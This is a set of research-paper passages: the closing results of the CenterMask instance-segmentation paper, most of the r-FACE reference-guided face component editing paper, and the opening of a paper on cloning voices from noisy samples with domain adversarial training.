misses object in (d) and fails in some overlapping situations,
such as the two legs in (c). The PolarMask can separate
different instances, but its mask is not precise due to the
polygon mask representation. Our CenterMask can separate
overlapping objects well and segment masks precisely.

4.3. CenterMask on FCOS Detector

Besides CenterNet[30], the proposed Local Shape and
Global Saliency branches can be embedded into other off-
the-shelf detection models easily. FCOS[27], which is one
of the state-of-the-art one stage object detectors, is utilized
to perform the experiment. The performance of Center-
Mask built on FCOS with different backbones are shown
in Table 3, with the training followings the same setting of
Mask R-CNN[12]. With the same backbone of ResNeXt-
101-FPN, CenterMask-FCOS achieves 3.8 points higher
than PolarMask[28] in Table 2, and the best model achieves
38.5 mAP on COCO test-dev, showing the generalization of
CenterMask.

To show the superiority of CenterMask on precise seg-
mentation, we evaluate the model on the higher-quality
LVIS annotations. The results are shown in Table 4. Based
on the same backbone, the CenterMask-FCOS achieves bet-
ter performance than Mask R-CNN.

Backbone AP AP50 AP75 APS APM APL

ResNet-101-FPN 36.1 58.7 38.0 16.5 38.4 51.2
ResNeXt-101-FPN 36.7 59.3 38.8 17.4 38.7 51.4
ResNet-101-FPN-DCN 37.6 60.4 39.8 17.3 39.8 53.4
ResNeXt-101-FPN-DCN 38.5 61.5 41.0 18.7 40.5 54.8
Table 3: Performance of CenterMask-FCOS on COCO
test-dev. DCN represents deformable convolution[5].

Model Backbone AP
Mask R-CNN[12] ResNet-101-FPN 36.0
CenterMask-FCOS ResNet-101-FPN 40.0

Table 4: Performance of CenterMask-FCOS on
LVIS[10]. The AP of Mask R-CNN comes from the origi-
nal LVIS paper.

5. Conclusion

In this paper, we propose a single shot and anchor-box
free instance segmentation method, which is simple, fast
and accurate. The mask prediction is decoupled into two
critical modules: the Local Shape branch to separate differ-
ent instances effectively and the Global Saliency branch to
realize precise segmentation pixel-wisely. Extensive abla-
tion experiments and visualization images show the effec-
tiveness of the proposed CenterMask. We hope our work
can help ease more instance-level recognition tasks.
Acknowledgements This research is supported by Beijing
Science and Technology Project (No. Z181100008918018).
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Abstract
Face portrait editing has achieved great progress
in recent years. However, previous methods ei-
ther 1) operate on pre-defined face attributes, lack-
ing the flexibility of controlling shapes of high-
level semantic facial components (e.g., eyes, nose,
mouth), or 2) take manually edited mask or sketch
as an intermediate representation for observable
changes, but such additional input usually requires
extra efforts to obtain. To break the limitations
(e.g. shape, mask or sketch) of the existing meth-
ods, we propose a novel framework termed r-FACE
(Reference-guided FAce Component Editing) for
diverse and controllable face component editing
with geometric changes. Specifically, r-FACE takes
an image inpainting model as the backbone, utiliz-
ing reference images as conditions for controlling
the shape of face components. In order to encour-
age the framework to concentrate on the target face
components, an example-guided attention module
is designed to fuse attention features and the target
face component features extracted from the refer-
ence image. Through extensive experimental vali-
dation and comparisons, we verify the effectiveness
of the proposed framework.

1 Introduction
Face portrait editing is of great interest in the computer vision
community due to its potential applications in movie indus-
try, photo manipulation, and interactive entertainment, etc.
With advances in Generative Adversarial Networks [Good-
fellow et al., 2014] in recent years, tremendous progress
has been made in face portrait editing [Yang et al., 2018;
Choi et al., 2018; Liu et al., 2019]. These approaches gener-
ally fall into three main categories: label-conditioned meth-
ods, geometry-guided methods and reference-guided meth-
ods. Specifically, label-conditioned methods [He et al., 2019;
Choi et al., 2018] only focus on several pre-defined conspicu-
ous attributes thus lacking the flexibility of controlling shapes

∗Contact Author

Figure 1: The illustration of reference guided face component edit-
ing. The first row is the definition diagram of the task, and the sec-
ond row is the synthesized result based on the given different refer-
ence images.

of high-level semantic facial components (e.g., eyes, nose,
mouth). This is because it is hard to produce results with
observable geometric changes merely based on attribute la-
bels. In order to tackle this, geometry-guided methods [Jo and
Park, 2019; Gu et al., 2019] propose to take manually edited
mask or sketch as an intermediate representation for obvi-
ous face component editing with large geometric changes.
However, directly taking such precise representations as a
shape guide is inconvenient for users, which is laborious and
requires painting skills. To solve this problem, reference-
guided methods directly learns shape information from ref-
erence images without requiring precise auxiliary representa-
tion, relieving the dependence on face attribute annotation or
precise sketch/color/mask information. As far as we know,
reference-guided methods are less studied than the first two
methods. ExGANs [Dolhansky and Canton Ferrer, 2018] uti-
lizes exemplar information in the form of a reference image
of the region for eye editing (in-painting). However, Ex-
GANs can only edit eyes and requires reference images with
the same identity, which is inconvenient to collect in practice.
ELEGANT [Xiao et al., 2018] transfers exactly the same type
of attributes from a reference image to the source image by
exchanging certain part of their encodings. However, ELE-
GANT is only used for editing obvious semantic attributes,
and could not change abstract shapes.

To overcome the aforementioned problems, we propose a
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Figure 2: Different methods for face portrait editing. (a) AttGAN, (b) SC-FEGAN and (c) Our network.

new framework: Reference guided FAce Component Edit-
ing (r-FACE for short), which can achieve diverse and con-
trollable face semantic components editing (e.g., eyes, nose,
mouth) without requiring paired images. The ideal editing
is to transfer single or multiple face components from a ref-
erence image to the source image, while still preserving the
consistency of pose, skin color and topological structure(see
Figure 1). Our framework breaks the limitations of existing
methods: 1) shape limitation. r-FACE can flexibly control
diverse shapes of high-level semantic facial components by
different reference images; 2) intermediate presentation lim-
itation. There is no need to manually edit precise masks or
sketches for observable geometric changes.

Our framework is based on an image inpainting model for
editing face components by reference images even without
paired images. r-FACE has two main streams including 1)
an inpainting network Gi and 2) an embedding network Er.
As shown in Figure 3, Gi takes the source image with target
face components corrupted and the corresponding mask im-
age as input, and outputs the generated image with semantic
features extracted by Er. To encourage the framework to con-
centrate on the target face components, an example-guided
attention module is introduced to combine features extracted
by Gi and Er. To supervise the proposed model, a contex-
tual loss is adopted to constrain the similarity of shape be-
tween generated images and reference images, while a style
loss and a perceptual loss are adopted to preserve the consis-
tency of skin color and topological structure between gener-
ated images and source images. Both qualitative and quantita-
tive results demonstrate that our model is superior to existing
literature by generating high-quality and diverse faces with
observable changes for face component editing.

In summary, the contributions of this paper are as follows:

• We propose a novel framework named reference guided
face component editing for diverse and controllable
face component editing with geometric changes, which
breaks the shape and intermediate presentation (e.g.,
precise masks or sketches) limitation of existing meth-
ods.

• An example-guided attention module is designed to en-
courage the framework to concentrate on the target face
components by combining attention features and the tar-
get face component features of the reference image, fur-
ther boosting the performance of face portrait editing.

• Both qualitative and quantitative results demonstrate the
superiority of our method compared with other bench-
mark methods.

2 Related Work
Face Portrait Editing. Face portrait editing aims at ma-
nipulating single or multiple attributes or components of a
face image towards given conditions. Depending on differ-
ent conditions, face portrait editing methods can be classified
into three categories: label-conditioned methods, geometry-
guided methods and reference-guided methods. Label-
conditioned methods change predefined attributes, such as
hair color [Choi et al., 2018], age [Liu et al., 2019] and
pose [Cao et al., 2019]. However, these methods focus on
several conspicuous attributes [Liu et al., 2015; Langner et
al., 2010], lacking the flexibility of controlling the shapes of
different semantic facial parts. As shown in Figure 2(a),
AttGAN [He et al., 2019] attempts to edit attributes with
shape changes, such as ′Narrow Eyes′, ′Pointy Nose′

and ′Mouth Slightly Open′, but it can only achieve subtle
changes hard to be observed. Moreover, lacking of labeled
data will extremely limit the performance of these meth-
ods. To tackle above problems, geometry-guided methods
use an intermediate representation to guide observable shape
changes. [Gu et al., 2019] proposes a framework based on
mask-guided conditional GANs which can change the shape
of face components by manual editing precise masks. As
shown in Figure 2(b), SC-FEGAN [Jo and Park, 2019] re-
quires directly taking mask, precise sketch and color as input
for editing the shape of face components. However, such pre-
cise input is difficult and inconvenient to obtain. Reference-
guided methods can directly learn shape information from
reference images without precise auxiliary representation, re-
lieving the dependence on face attribute annotation or pre-
cise sketch/color/mask information for face portrait editing.
Inspired by this, we propose a new framework (see Figure
2(c)), which can achieve diverse and controllable face se-
mantic components editing (e.g., eyes, nose, mouth), which
is shape free and precise landmark or sketch free.

Face Completion/Inpainting. Face completion, also
known as face inpainting, aims to complete a face image
with a masked region or missing content. Early face com-
pletion works [Bertalmio et al., 2000; Criminisi et al., 2003;
Bertalmio et al., 2003] fill semantic contents based on the
overall image and structural continuity between the masked
and unmasked regions, which aims to reconstruct missing re-
gions according to the ground-truth image. Recently, some
learning-based method [Zheng et al., 2019; Song et al., 2019]
are proposed for generating multiple and diverse plausible re-
sults. [Zheng et al., 2019] proposes a probabilistically prin-
cipled framework with two parallel paths, the VAE-based re-
constructive path is used to impose smooth priors for the la-
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Figure 3: The overall structure of proposed framework. On the top left corner is the generator. The top-right figure shows detailed attention
module. The constrains among the source image, the reference image and the generated image is shown on the bottom.

tent space of complement regions, the generative path is used
to predict the latent prior distribution for missing regions,
which can be sampled to generate diverse results. However,
this method lacks controllability for diverse results. In light
of this, [Song et al., 2019] generate controllable diverse re-
sults from the same masked input by manual modifying facial
landmark heatmaps and parsing maps.

3 Method
In this section, we first introduce the framework of reference-
based face component editing. Then, the example-guided at-
tention module are presented. Finally, objective functions of
the proposed model are provided.

3.1 Reference Guided Face Component Editing
We propose a framework (See Figure 3), named reference
guided face component editing, that transfers one or multi-
ple face components of a reference image to corresponding
components of the source image. The framework requires
three inputs, a source image Is, a reference image Ir and the
target face component mask of the reference image Ism. The
source mask Ism merely needs to roughly represent the target
face components, which can be obtained by a face parsing
or landmark detection network. The corrupted image can be
obtained by Equation 1:

Ic = Is ∗ Ism, (1)

where ∗ is an element-wise multiplication operator. The goal
of this framework is to generate a photo-realistic image Ig ,
in which shape is semantically similar to corresponding face
components of the reference image while the face color and
topological structure are consistent with the source image.

In this work, we utilize an image inpainting generator Gi as
backbone that can generate the completed image without con-
straints on shape, while a discriminator D is used for distin-
guishing face images from the real and synthesized domains.
Gi is consist of an encoder, seven dilated residual blocks, an
attention module and a decoder. To fill missing parts with se-
mantically meaningful face components of a reference image,

an reference-guided encoder Er is introduced to extract fea-
tures of the reference image. The encoder of Gi and Er have
same structure but parameters are not shared. Attention mod-
ule, to be described next, is effectively transferring semantic
components from high-level features of the reference image
to Gi, further improving the performance of our framework.
The generated image Ig can be expressed as:

Ig = Gi(Ic, I
s
m, Er(Ir)), (2)

3.2 Example-guided Attention Module
Inspired by the short+long term attention of PICNet [Zheng
et al., 2019], we propose an example-guided attention. The
short+long term attention uses the self-attention map to har-
ness distant spatial context and the contextual flow to cap-
ture feature-feature context for finer-grained image inpaint-
ing. The example-guided attention replaces the contextual
flow by the example-guided flow which combines the atten-
tion features and the reference features for clearly transform-
ing the corresponding face component features of reference
images to source images.

The proposed structure is shown in the upper right corner
of Figure 3. Following [Zheng et al., 2019], the self-attention
map is calculated from the source feature, which can be ex-
pressed as Fa = Fs⊗Fm. The attention map Fm is obtained
by Fm = Softmax(FT

q Fq), in which Fq = Conv(Fs) and
Conv is a 1× 1 convolution filter. To transfer the target face
component features of reference images, the reference feature
is embedded by multiplying the attention map with the source
mask Ism. The example-guided flow is expressed as follows:

Fe = Ism ∗ F′
e + (1− Ism) ∗ Fr, (3)

where F′
e = Fr ⊗ Fm. Finally, the fused feature Ff =

Fa ⊕ Fe is sent to the decoder for generating results with
the target components of the reference image.

3.3 Objective
We use the combination of a per-pixel loss, a style loss, a
perceptual loss, a contextual loss, a total variation loss and an
adversarial loss for training the framework.
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To capture fine facial details we adopt the perceptual
loss [Johnson et al., 2016] and the style loss [Johnson et
al., 2016], which are widely adopted in style transfer, super
resolution, and face synthesis. The perceptual loss aims to
measure the similarity of the high dimensional features (e.g.,
overall spatial structure) between two images, while the style
loss measure the similarity of styles (e.g., colors). The per-
ceptual loss can be expressed as follows:

Lperc =
∑
l

1

ClHlWl
‖φl(Ig)− φl(Is)‖1, (4)

The style loss compare the content of two images by using
Gram matrix, which can be expressed as follows:

Lstyle =
∑
l

1

ClCl
‖Gl(Ig ∗ Ism)−Gl(Ic)

ClHlWl
‖1, (5)

where ‖ · ‖1 is the �1 norm. φl(·) ∈ RCl×Hl×Wl represents
the feature map of the l-th layer of the VGG-19 network [Si-
monyan and Zisserman, 2014] pretrained on the ImageNet.
Gl(·) = φl(·)Tφl(·) represents the Gram matrix correspond-
ing to φl(·).

The contextual loss [Mechrez et al., 2018] measures the
similarity between non-aligned images, which in our model
effectively guarantees the consistent shape of the target
face components in generated images and reference images.
Given an image x and its target image y, each of which is
represented as a collection of points(e.g. VGG-19 [Simonyan
and Zisserman, 2014] features): X = {xi} and Y = {yj},
|X| = |Y | = N . The similarity between the images can be
calculated that for each feature yj , finding the feature xi that
is most similar to it, and then sum the corresponding feature
similarity values over all yj . Formally, it is defined as:

CX(x, y) = CX(X,Y ) =
1

N

∑
j

max
i

CXij , (6)

where CXij is the similarity between features xi and yj . At
training stage, we need the target components mask of ref-
erence images Irm for calculating the contextual loss. The
contextual loss can be expressed as follows:

Lcx = − log(CX(φl(Ig ∗ Ism), φl(Ir ∗ Irm))), (7)

The per-pixel loss can be expressed as follows:

Lpixel = ‖φl(Ig ∗ Ism)− φl(Is ∗ Ism)‖1, (8)

Lastly, we use an adversarial loss for minimizing the dis-
tance between the distribution of the real image and the gen-
erated image. Here, LSGAN [Mao et al., 2017] is adopted
for stable training. The adversarial loss can be expressed as
follows:

LadG
= E[(D(Ig)− 1)2], (9)

LadD
= E[D(Ig)

2] + E[(D(Is)− 1)2], (10)
With total variational regularization loss Ltv [Johnson et

al., 2016] added to encourage the spatial smoothness in the
generated images, we obtain our full objective as:

L = λ1Lperc + λ2Lstyle + λ3Lcx

+λ4Lpixel + λ5Ltv + λ6LadG

(11)

Figure 4: Comparisons among (c) copy-and-paste, (d) AttGAN, (e)
ELEGANT, (f) the commercial state of the art algorithm in Adobe
Photoshop and (g) the proposed r-FACE technique. The source and
reference images are shown in (a) and (b), respectively. AttGAN
and ELEGANT edit attributes: ′Narrow Eyes′, ′Pointy Nose′

,′Mouth Slightly Open′ and all of them respectively.

4 Experiments
4.1 Dataset and Preprocessing
The face attribute dataset CelebAMask-HQ [Lee et al., 2019]
contains 30000 aligned facial images with the size of 1024×
1024 and corresponding 30000 semantic segmentation labels
with the size of 512 × 512. Each label in the dataset has
19 classes (e.g., ”left eye”, ”nose”, ”mouth”). In our experi-
ments, three face components are considered, i.e., eyes (”left
eye & right eye”), nose (”nose”), and mouth (”mouth & u lip
& l lip”). We obtain rough version of face components from
semantic segmentation labels by an image dilation operation,
which are defined as mask images. We take 2,000 images as
the test set for performance evaluation, using rest images to
train our model. All images are resized to 256× 256.

4.2 Implementation Details
Our end-to-end network is trained on four GeForce GTX TI-
TAN X GPUs of 12GB memory. Adam optimizer is used
in experiments with β1 = 0.0 and β2 = 0.9. The hyperpa-
rameters from λ1 to λ6 are assigned as 0.1, 250, 1, 0.5, 0.1,
0.01 respectively. For each source image, we remove two or
three target face components for training. During testing, our
model can change one or more face components.

4.3 Qualitative Evaluation
Comparison with Other Methods. In order to demon-
strate the superiority of the proposed method, we compare
the quality of sample synthesis results to several benchmark
methods. In addition to face editing model AttGAN [He et
al., 2019] and ELEGANT [Xiao et al., 2018], we also con-
sider copy-and-paste as a naive baseline and Adobe Photo-
shop image editing as an interactive way to produce synthe-
sized face images. According to the results presented in Fig-
ure 4, although margins of edited facial components in Adobe
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Figure 5: Illustrations of multi-modal face components editing, in-
cluding ’eyes’ and ’mouth’. The first column represents source im-
ages, the first and third rows are reference images, and the second
and fourth rows are synthesized images according to reference im-
ages above.

Photoshop are much smoother than those in results of copy-
and-paste, obvious ghosting artifacts and color distortions
still exist and more fine-grained manual labour is required to
improve the quality. In contrast, AttGAN could generate real-
istic synthetic images which are indistinguishable to generic
ones in an end-to-end manner. However, pre-defined facial
attribute labels are used to guide AttGAN to transform facial
components thus the diversity of generated images is limited.
Moreover, as can be seen in Figure 4, AttGAN only produces
subtle changes that could hardly reflect the desired transla-
tion. ELEGANT, as a reference-guided face attribute edit-
ing method, can learn obvious semantic attributes (e.g., open
eyes or close mouth), but could not learn abstract shape infor-
mation (e.g., nose editing). Moreover, ELEGANT produces
large deformation and unexpected artifacts at other attribute-
unrelated areas, especially the editing of multiple compo-
nents. On the contrary, our method takes arbitrary face im-
ages as reference, which significantly increases the diversity
of generated images.

Multi-Modal Face Components Editing. Reference-
guided face components editing improves the diversity and
controllability of generated faces, as the stylistic information
is designated by arbitrary reference images. As shown in
Figure 5, target face components of interest (e.g. eyes and
mouths) are transformed to be of the same style as the corre-
sponding reference image. For example, synthesized mouths
in faces of the last row accurately simulate the counterpart in
reference images, in terms of both overall shape (e.g. raised
corners of pursed mouth) and local details (e.g. partially
covered teeth). Meanwhile, they are naturally blended in

Method FID ↓ MS-SSIM ↑
GLCIC[Iizuka et al., 2017] 8.09 0.95
AttGAN[He et al., 2019] 6.28 0.96

ELEGANT [Xiao et al., 2018] 15.97 0.82

r-FACE (Ours) 5.81 0.92
w / o attention 6.25 0.90

w / o contextual loss 5.27 0.90
w / o style loss 8.28 0.90

w / o perceptual loss 8.49 0.89

Table 1: Comparisons of FID and MS-SSIM on the CelebA-HQ
dataset.

to the source face without observable color distortions and
ghosting artifacts, demonstrating the effectiveness of pro-
posed method.

4.4 Quantitative Evaluation
Following most of face portrait methods [He et al., 2019; Wu
et al., 2019], we leverage Fréchet Inception Distance (FID,
lower value indicates better quality) [Heusel et al., 2017] and
Multi-Scale Structural SIMilarity (MS-SSIM, higher value
indicates better quality) [Wang et al., 2003] to evaluate the
performance of our model. FID is used to measure the qual-
ity and diversity of generated images. MS-SSIM is used to
evaluate the similarity of two images from luminance, con-
trast, and structure.

We compare our method with AttGAN[He et al., 2019],
one of label-conditioned methods, and ELEGANT [Xiao
et al., 2018], one of reference-guided methods. For
AttGAN and ELEGANT, the value of FID or MS-SSIM
are the result of averaging three pre-defined attributes for
shape changing, including ’Narrow Eyes’, ’Pointy Nose’ and
’Mouth Slightly Open’. The backbone of r-FACE is similar
to image inpainting task, so we also compare our method with
GLCIC[Iizuka et al., 2017], one of popular face inpainting
methods. As is shown in TABLE 1, comparing with these
methods, the FID of our method is much lower. With the
observation that the MS-SSIM of our method is lower than
AttGAN and GLCIC, we analyze the reasons: MS-SSIM
is sensitive to luminance, contrast, and structure, however,
1) GLCIC does not have any constraints on the structure or
shape of components, just requiring the missing regions to be
completed; 2) AttGAN edits shape-changing attributes with
subtle changes that are hard to be observed as shown in Fig-
ure 4, so the change of luminance, contrast, and structure is
limited. In contrast, r-FACE imposes a geometric similarity
constraint on the components of source images and reference
images, which changes the shape or structure drastically and
even affects the identity of the face.

4.5 Ablation Study
Example-guided Attention Module. To investigate the ef-
fectiveness of the example-guided attention module, we con-
duct a variant of our model, denoted as ”r-FACE w / o atten-
tion”. In ”r-FACE w / o attention”, we train r-FACE with-
out example-guided attention module. To learn face compo-
nents from a reference image, we directly concatenate the fea-
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tures of reference images with that of source images, which
introduced the features of the whole reference image. TA-
BLE 1 shows the comparison on FID and MS-SSIM between
”r-FACE w / o attention” and ”r-FACE”. Our method out-
performs ”r-FACE w / o attention” on both FID and MS-
SSIM, which indicates that example-guided attention module
can explicitly transfer the corresponding face components of
a reference image and reduce the impact of other information
of the reference image.

Loss Configurations. In this section, we conduct ablation
studies on different loss, such as the contextual loss, the style
loss and the perceptual loss, for evaluating their individual
contributions on our framework. As shown in TABLE 1,
the quantitative comparison among ”r-FACE w / o contextual
loss”, ”r-FACE w / o style loss”, ”r-FACE w / o perceptual
loss” and ”r-FACE” are presented. ”r-FACE” outperforms
other loss configurations on MS-SSIM, which indicates the
effectiveness of the three losses. It is observed that the FID
of ”r-FACE” is also better than other loss configurations ex-
cept ”r-FACE w/o contextual loss”. We argue that contextual
loss plays an important role in restricting the shape of face
components. The framework has no constraints on the shape
after removing the contextual loss, so ”r-FACE w / o contex-
tual loss” is easier to generate missing components, merely
requiring generated images to look real. Figure 6 compares
the visual effects of different loss configurations. We find ”r-
FACE w / o contextual loss” could not synthesize components
with the corresponding shape of reference images, which in-
dicates the contextual loss is significantly important in shape
constraints. In the results of ”r-FACE w / o style loss” and
”r-FACE w / o perceptual loss”, color distortions and obvious
ghosting artifacts are observed, which show the style loss and
the perceptual loss are able to preserve skin color of source
image. Above all, we prove that three losses contribute to
the performance of our framework and the combination of all
losses achieves the best results.

4.6 Discussion and Limitation
Reference guided face component editing has wide real-life
applications in interactive entertainment, security and data
augmentation. Given whole reference images of any iden-
tity, r-FACE performs various face component editing, which
can achieve the effect of ”plastic surgery”. Besides, when
all face components of a reference face are transformed to
the source face, r-FACE is further extended to face swapping
task. Moreover, As the face component is a part of face, edit-
ing face components may change the identity of the person.
Therefore, r-FACE can be used for data augmentation to gen-
erate face images of different identities. Although r-FACE
obtains diverse and controllable face component editing re-
sults, reference images with significant differences in pose
are still challenging for our model. We will continue to ex-
plore solving extreme pose problems in further work.

5 Conclusion
In this work, we have proposed a novel framework, refer-
ence guided face components editing (r-FACE), for high-
level face components editing, such as eyes, nose and mouth.

Figure 6: Visual comparisons for different loss configurations, in-
cluding ”r-FACE w / o contextual loss”, ”r-FACE w / o style loss”,
”r-FACE w / o perceptual loss” and ”r-FACE”.

r-FACE can achieve diverse, high-quality, and controllable
component changes in shape from given references, which
breaks the shape and precise intermediate presentation lim-
itation of existing methods. For embedding the target face
components of reference images to source images specifi-
cally, an example-guided attention module is designed to fuse
the features of source images and reference images, further
boosting the performance of face component editing. The
extensive experiments demonstrate that our framework can
achieve state-of-art face editing results with observable geo-
metric changes.
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Abstract
Data efficient voice cloning aims at synthesizing target
speaker’s voice with only a few enrollment samples at hand. To
this end, speaker adaptation and speaker encoding are two typ-
ical methods based on base model trained from multiple speak-
ers. The former uses a small set of target speaker data to trans-
fer the multi-speaker model to target speaker’s voice through
direct model update, while in the latter, only a few seconds of
target speaker’s audio directly goes through an extra speaker
encoding model along with the multi-speaker model to synthe-
size target speaker’s voice without model update. Nevertheless,
the two methods need clean target speaker data. However, the
samples provided by user may inevitably contain acoustic noise
in real applications. It’s still challenging to generating target
voice with noisy data. In this paper, we study the data efficient
voice cloning problem from noisy samples under the sequence-
to-sequence based TTS paradigm. Specifically, we introduce
domain adversarial training (DAT) to speaker adaptation and
speaker encoding, which aims to disentangle noise from speech-
noise mixture. Experiments show that for both speaker adap-
tation and encoding, the proposed approaches can consistently
synthesize clean speech from noisy speaker samples, apparently
outperforming the method adopting state-of-the-art speech en-
hancement module.
Index Terms: Speech synthesis, voice cloning, speaker adapta-
tion, speaker encoding, adversarial training.

1. Introduction
Sequence-to-sequence (seq2seq) neural network based text-to-
speech (TTS) is able to synthesize natural speech without a
complex front-end analyzer and an explicit duration module [1].
However, a sizable amount of high quality audio-text paired
data is necessary to build such systems, which limits the model
ability to produce natural speech for a target speaker without
enough data. Therefore, building target voice with few minutes
or even few samples data, or voice cloning, has drawn many in-
terests lately [2, 3, 4, 5]. In order to produce target speaker voice
in a data efficient manner, there are several attempts to build
multi-speaker model to produce target voice from a few clean
samples, most of which can be divided into two categories [2]:
speaker adaptation and speaker encoding. In both families, a
multi-speaker base model is required to generate target voice.

The core idea for speaker adaptation methods [6, 7] is
to fine-tune the pre-trained multi-speaker model with a few
audio-text pairs for an unseen speaker to produce target voice.

†Corresponding author. This research work is supported by
the National Key Research and Development Program of China
(No.2017YFB1002102).

The transcription of target speaker samples can be obtained by
speech recognition to fine-tune the base model [8]. The study
in [9] demonstrates that the training strategy cannot be fixed for
adaptation of different speakers and presents a Bayesian opti-
mization method for fine-tuning the TTS model. As for speaker
encoding, it mainly builds an extern speaker encoder model to
obtain continuous speaker representations for subsequent multi-
speaker training. The same extern speaker encoder is then uti-
lized to obtain the speaker embedding from audio samples of
an unseen speaker. Without further fune-tuning, the speaker
embedding is directly fed into the multi-speaker model to result
in target’s voice. As the ability and robustness of speaker rep-
resentation module directly decides the performance of adap-
tation, several speaker representation methods have been eval-
uated for adaptive speech synthesis [4]. Comparing the above
two families, speaker adaptation can achieve better speaker sim-
ilarity and naturalness, while speaker encoding does not need
any extra adaptation procedure and audio-text pairs, achieving
so-called one/few-shot(s) voice cloning.

Approaching data efficient voice cloning either through
speaker adaptation or via speaker encoding, clean speech sam-
ples from target speaker is usually necessary to produce clean
target voice. However, in practical voice cloning applications,
target speaker data is often either acquired in daily acoustic
conditions or found data from Internet, with inevitable back-
ground noise. It is still challenging generating target voice with
noisy target speaker data, especially for systems built upon the
current seq2seq paradigm in which attention-based soft align-
ment is vunarable to interferences [10]. In order to build a ro-
bust TTS system, there are several attempts to conduct speech
synthesis with noisy data [10, 11, 12]. An alternative method
is to de-noise the noisy training data with an external speech
enhancement module [11], but the audible or inaudible spec-
trum distortion may inevitably affect the quality of the gener-
ated speech. Besides, we can also try to disentangle noise and
other attributes in audio. The approach in [13] aims to disentan-
gle speech and non-speech components using variational auto
encoders (VAE) [14] to enable the use of found data for TTS
applications. And in [15], through speaker and noise attributes
disentangling during training, the model is able to control dif-
ferent aspects of the synthesized speech with different reference
audios. But prior researches on robust TTS have mainly worked
on training on large-scale found or noisy dataset, data efficient
voice cloning for noisy data has rarely been considered.

In this paper, we focus on how to produce target voice in
both speaker adaptation and speaker encoding scenes with only
a few noisy samples of the target speaker under state-of-the-art
seq2seq TTS framework. For the speaker adaptation method,
we find the model usually cannot converge at adaptation time
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Figure 1: Basic seq2seq TTS model, speaker adaptation and speaker encoding architecture. The components with dotted orange
outlines are common basic model with additional GRU. The components with dotted blue outlines are proposed domain classifier
module. Speaker adaptation extends basic model with DAT module, speaker embedding looking up table, and noise control tag, shown
as green components. Speaker encoding extends basic model with DAT module and external speaker encoding network, shown as gray
components. Note that the speaker embedding only injects to GRU at speaker encoding.

with noisy speaker data. So we assume the main challeng-
ing problem is how to fine-tune the base multi-speaker model
with noisy data and produce clean target speech. As for the
speaker encoding based synthesis model, the main issue is that
the speaker representation usually contains noise information,
which directly affects the performance of generated speech as
the speaker encoding has deviated because of the interference.

To overcome the above issues in both speaker adaptation
and encoding methods, we propose a robust seq2seq framework
to conduct target speaker’s voice cloning with noisy data. For
this purpose, we introduce domain adversarial training (DAT)
[16] to both methods to learn noise-invariant latent features.
Specifically, we extend the decoder with a domain classifier
network with a gradient reverse layer (GRL) for the speaker
adaptation method, trying to disentangle the noise condition in
acoustic features. For speaker encoding, since the speaker em-
bedding extracted from the speaker encoder network is noise-
dependent, we disentangle the noise condition in the speaker
embedding with the help of domain adversarial training, leading
to noise-invariant speaker embedding. Note that DAT has been
previously studied in speech recognition [17, 18, 19], speaker
verification [20, 21] as well as speech synthesis [15, 10] tasks
with superior performance in learning noise-invariant features
and attribute disentanglement. To the best of our knowledge,
our study in the first one examining its efficacy in data efficient
voice cloning. Our study shows that for both speaker adaptation
and encoding, the proposed approach can consistently synthe-
size clean speech from noisy speaker samples, apparently out-
performing the method adopting a speech enhancement module.

2. Proposed Method
Fig. 1 illustrates the proposed seq2seq-based multi-speaker
model for data efficient voice cloning in noisy conditions.
The proposed architecture contains a CBHG-based text en-
coder [22], an auto-regressive decoder with GMM-based at-
tention [23], the domain adversarial training module, and the
speaker representation module.

For the basic seq2seq framework, the model generates mel-
spectrogram m = (m1,m2, · · · ,mM ) frame by frame given
a text sequence t = (t1, t2, · · · , tN ), where M and N are the
length of acoustic features and linguistic features respectively.
The text sequence t is firstly fed into the text encoder:

x = e(t|Θe) (1)
where e(·) represents the text encoder and x is the text repre-

sentation from the encoder.
During the auto-regressive process, the decoder takes cur-

rent frame of spectrogram mt to produce next frame mt+1. In
detail, the decoder firstly converts mt into latent representation
zt through a pre-net h(·), where the zt acts as an information
bottleneck. The zt is then treated as a query to compute context
vector ct with x through GMM-based attention module g(·).
Hence, the next frame mt+1 can be calculated from the context
vector ct and zt through transformation function f(·):

zt = h(mt|Θh) (2)
ct = g(zt, x|Θg) (3)

m̂t+1 = f(ct, zt|Θf ) (4)
where Θh, Θg and Θf represent the module parameters of
pre-net, attention mechanism and transformation, respectively.
We minimize the mean square error between predicted m̂t and
ground truth mt to optimize the whole model:

Lrcon = ||m− m̂||1. (5)

2.1. Few-shots robust speaker adaptation with DAT

To conduct speaker adaptation for noisy data, we firstly build
a multi-speaker model with both noisy and clean speech sam-
ples. Based on the basic architecture, we adopt an extra train-
able speaker embedding table to bring speaker identity. For each
speech sample m, the speaker representation s is obtained from
the embedding table indexed by the corresponding speaker la-
bel. We concatenate the speaker embedding s with pre-net and
encoder output, so Eq. (3) and Eq. (4) become

zt = h(mt, s|Θh) (6)
and

ct = g(zt, x, s|Θg). (7)
In order to build a robust multi-speaker model for few-shots
noisy samples in the adaptation stage, we use both clean and
noisy speech data during training. As shown in Eq (6), the la-
tent feature z may contain noise interference when m is noisy.
In order to encourage z to become noise-independent feature,
we inject a GRU layer into the h(·) and then employ a domain
classifier with gradient reversal layers (GRL) on the output z
of GRU layer at frame level. The proposed latent z is adopted
to predict the noisy/clean label for the following domain classi-
fier. We further feed noisy/clean embedding vector into decoder
RNN to control the generation process. With the auxiliary clas-
sifier, the final loss function in Eq (5) becomes:

L = Lrcon + λLnoise ce (8)
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Figure 2: Data augmentation process for speaker adaptation
base model.
where λ is the tunable weight for domain classifier loss. In
order to obtain a multi-speaker corpus for the above domain ad-
versarial training, we apply data augmentation on a clean multi-
speaker dataset, as shown in Fig. 2. Specifically, we split the
original training set into two subsets p1 and p2, both of which
contains multiple speakers. Then we add randomly selected
background noise at a random signal-to-noise ratio (SNR) in p1
and p2 to obtain the noisy counterparts pn1 and pn2 . Finally, the
subsets p1, pn1 and pn2 are treated as the training set to train the
above multi-speaker model. Note that there are no clean speech
for the speakers in sub-set pn2 , which refers to the speaker adap-
tation scenario with only noisy speech for each speaker.

For few-shots speaker adaptation scene, there are only sev-
eral noisy audio clips with transcriptions of the target speaker.
We utilize the above noisy samples to fine-tune the pre-trained
multi-speaker model with the following steps:

1. Set the noise control tag to ‘noise’ for adaptation data;
2. Remove the domain classifier loss since we assume the

latent z is noise-independent;
3. Choose a speaker in the training set whose timbre is the

most similar to target speaker, and share its speaker em-
bedding to the target speaker [6];

4. Fine-tune the whole model until convergence;
5. Set the noise control tag to ‘clean’ and choose the above

speaker embedding to generate clean speech of target
speaker.

2.2. One-shot speaker encoding with DAT

